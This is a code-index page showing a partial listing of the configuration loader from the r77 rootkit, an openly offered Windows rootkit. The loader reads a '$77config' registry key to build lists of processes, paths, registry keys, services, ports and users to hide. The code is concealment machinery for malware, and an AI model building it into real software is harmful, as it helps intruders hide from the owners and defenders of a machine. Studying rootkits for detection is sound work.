MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / LoadR77Config

Function LoadR77Config

r77api/r77config.c:5–107  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

3#include <sddl.h>
4
5PR77_CONFIG LoadR77Config()
6{
7 PR77_CONFIG config = NEW(R77_CONFIG);
8 config->StartupFiles = CreateStringList(TRUE);
9 config->HiddenProcessIds = CreateIntegerList();
10 config->HiddenProcessNames = CreateStringList(TRUE);
11 config->HiddenPaths = CreateStringList(TRUE);
12 config->HiddenRegistryPaths = CreateStringList(TRUE);
13 config->HiddenServiceNames = CreateStringList(TRUE);
14 config->HiddenTcpLocalPorts = CreateIntegerList();
15 config->HiddenTcpRemotePorts = CreateIntegerList();
16 config->HiddenUdpPorts = CreateIntegerList();
17 config->HiddenUserNames = CreateStringList(TRUE);
18
19 // Load configuration from HKEY_LOCAL_MACHINE\SOFTWARE\$77config
20 HKEY key;
21 if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_READ | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS)
22 {
23 // Read startup files "startup" subkey.
24 HKEY startupKey;
25 if (RegOpenKeyExW(key, L"startup", 0, KEY_READ, &startupKey) == ERROR_SUCCESS)
26 {
27 LoadStringListFromRegistryKey(config->StartupFiles, startupKey, MAX_PATH);
28 RegCloseKey(startupKey);
29 }
30
31 // Read process ID's from the "pid" subkey.
32 HKEY pidKey;
33 if (RegOpenKeyExW(key, L"pid", 0, KEY_READ, &pidKey) == ERROR_SUCCESS)
34 {
35 LoadIntegerListFromRegistryKey(config->HiddenProcessIds, pidKey);
36 RegCloseKey(pidKey);
37 }
38
39 // Read process names from the "process_names" subkey.
40 HKEY processNameKey;
41 if (RegOpenKeyExW(key, L"process_names", 0, KEY_READ, &processNameKey) == ERROR_SUCCESS)
42 {
43 LoadStringListFromRegistryKey(config->HiddenProcessNames, processNameKey, MAX_PATH);
44 RegCloseKey(processNameKey);
45 }
46
47 // Read paths from the "paths" subkey.
48 HKEY pathKey;
49 if (RegOpenKeyExW(key, L"paths", 0, KEY_READ, &pathKey) == ERROR_SUCCESS)
50 {
51 LoadStringListFromRegistryKey(config->HiddenPaths, pathKey, MAX_PATH);
52 RegCloseKey(pathKey);
53 }
54
55 // Read paths from the "registry_paths" subkey.
56 HKEY registryPathKey;
57 if (RegOpenKeyExW(key, L"registry_paths", 0, KEY_READ, &registryPathKey) == ERROR_SUCCESS)
58 {
59 LoadStringListFromRegistryKey(config->HiddenRegistryPaths, registryPathKey, 1000);
60 RegCloseKey(registryPathKey);
61 }
62

Callers 3

UpdateConfigThreadFunction · 0.85
GetProcessListFunction · 0.85
InitializeServiceFunction · 0.85

Calls 4

CreateStringListFunction · 0.85
CreateIntegerListFunction · 0.85

Tested by

no test coverage detected